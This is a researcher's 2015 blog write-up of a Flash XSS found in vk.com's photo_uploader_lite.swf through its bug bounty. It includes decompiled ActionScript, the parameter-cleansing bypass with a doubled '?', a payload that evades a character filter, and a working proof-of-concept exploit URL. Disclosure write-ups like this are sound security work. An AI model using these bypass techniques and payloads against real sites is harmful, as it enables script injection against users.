Interesting flash xss on vk.com

30 Sep 2015 Categories: Hacks Tags: hacks

Introduction

Every time I try a bug bounty program on HackerOne, I first check for flash files on the domains which are in scope. Flash files are always a good target as far as I am concerned. Approximately three months back, I came across VK.com bug bounty. So, when I searched for flash files I came across one file named photo_uploader_lite.swf. So, I opened the file in my browser and the file got downloaded instead of getting played in the browser. I ran curl to check the response headers and body.

$ curl -i http://vk.com/swf/photo_uploader_lite.swf

HTTP/1.1 200 OK
Server: Apache
Date: Wed, 30 Sep 2015 14:14:31 GMT
Content-Type: application/zip
Content-Length: 12189
Last-Modified: Tue, 21 Jul 2015 16:43:33 GMT
Connection: keep-alive
ETag: "55ae76b5-2f9d"
Expires: Sun, 04 Oct 2015 14:14:31 GMT
Cache-Control: max-age=345600
Accept-Ranges: bytes

The file was being served with content type application/zip. When I saw the first few bytes of the flash files I recognized the CWS file header which is present for compressed flash files. This flash file will work as expected when embedded using an object or embed tag. But for a flash xss, you cannot embed swf on your domain (No actionscript methods were exposed to JS). At this point of time, I lost hopes but still wanted to have a look at the decompiled code. The following snippet only consists of the interesting code segments for better readability.

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package {
    // some imports
    class ExternalCall {
        public static function Simple(_arg1:String):void{
            Call(_arg1);
        }
        private static function Call(... _args):Boolean{
            var _local2:Array;
            var _local3:RegExp;
            if (ExternalInterface.available){
                _local2 = (_args as Array);
                _local3 = /[^().a-z0-9_]/gi;
                _local2[0] = _local2[0].replace(_local3, "");
                return (ExternalInterface.call.apply(null, _local2));
            };
            return (false);
        }
}
package {
    // some imports
    public class Main extends Sprite {

        public function Main():void{
            super();
            if (stage){
                this.init();
            } else {
                addEventListener(Event.ADDED_TO_STAGE, this.init);
            };
        }
        private function init(_arg1:Event=null):void{
            var mouseMove:* = null;
            var mouseOut:* = null;
            var e = _arg1;
            if (some_mouse_over_condition) {
                mouseOver();
            }
            var mouseOver:* = function ():void{
                ExternalCall.Simple(config.onMouseOver);
                stage.addEventListener(Event.MOUSE_LEAVE, mouseOut);
                insideFrame = true;
            };
        }
    }
}
package {
    // some imports

    public class Config {

        private static var _config:Object = {
            // ... some params ...
            onMouseOver:"debugLog",
            // ... some more params ...
        };

        public static function loadConfig(_arg1:LoaderInfo):Object{
            var parameters:* = null;
            var urlQuery:* = null;
            var urlVars:* = null;
            var key:* = null;
            var loaderInfo:* = _arg1;
            try {
                loaderInfo = LoaderInfo(loaderInfo);
                parameters = loaderInfo.parameters;
                urlQuery = loaderInfo.url.split("?")[1];
                urlVars = new URLVariables(((urlQuery) || ("")));
                for (key in urlVars) {
                    if (parameters[key]){
                        delete parameters[key];
                    };
                };
                setConfig(parameters);
            } catch(error:Error) {
            };
            return (_config);
        }

    }
}

The cleansing of parameters object was being done in the method loadConfig. So, any parameter provided in the url is removed from the parameters object. This looked to me like a protection against flash xss because in a legitimate embed scenario parameters are provided through the param html tag. Ideally, this is a really good way but they forgot something. Have a look at line 66. They are extracting url parameters by loaderInfo.url.split("?")[1]. What if the url is something like

http://vk.com/swf/photo_uploader_lite.swf?h=h?&param1=value1

As far as flash player is concerned the parameters object will have the following values

h = h?
param1 = value1

But the url parameters extracted by swf will have the following values (as they are considering only 1 index element after splitting)

h = h

So, when they try to remove url parameters from the flash parameters object, only h gets removed but not param1. So, we successfully got our url parameter to stay intact in the parameters object. Cool. Line 39 has a call to ExternalCall.Simple with argument config[onMouseOver]. Now ideally if you put anything like alert(1), confirm(1) etc.. it will work. For me a bug is something which can be exploitable. Our next challenge lies at line 12. The only allowed characters in your javascript call are a-z,0-9,(,),.,_. Javascript strings are common part of any useful payload, but quotes are filtered here. , is not allowed which prevents usage of String.fromCharCode. window.location.hash came to my mind. So, a working payload will be

eval(window.location.hash.substr(1))

Now you can place any js code in the fragment part of the url. All this is awesome, but the file is not played by the browser as of now because of the content type. In this desperate time, my old friend IE came to my rescue. If you carefully observe the response headers there is no X-Content-Type-Options. So, when I opened the url in IE, KABOOOOM!!! It sniffed the content type and played the flash file. Ah, the bug is finally exploitable but only in IE

http://vk.com/swf/photo_uploader_lite.swf?h=h?&onMouseOver=eval(window.location.hash.substr(1))#alert(document.domain);

A different payload is in the image

vk.com Flash XSS

HackerOne Report is present here (Not public at the time of writing)

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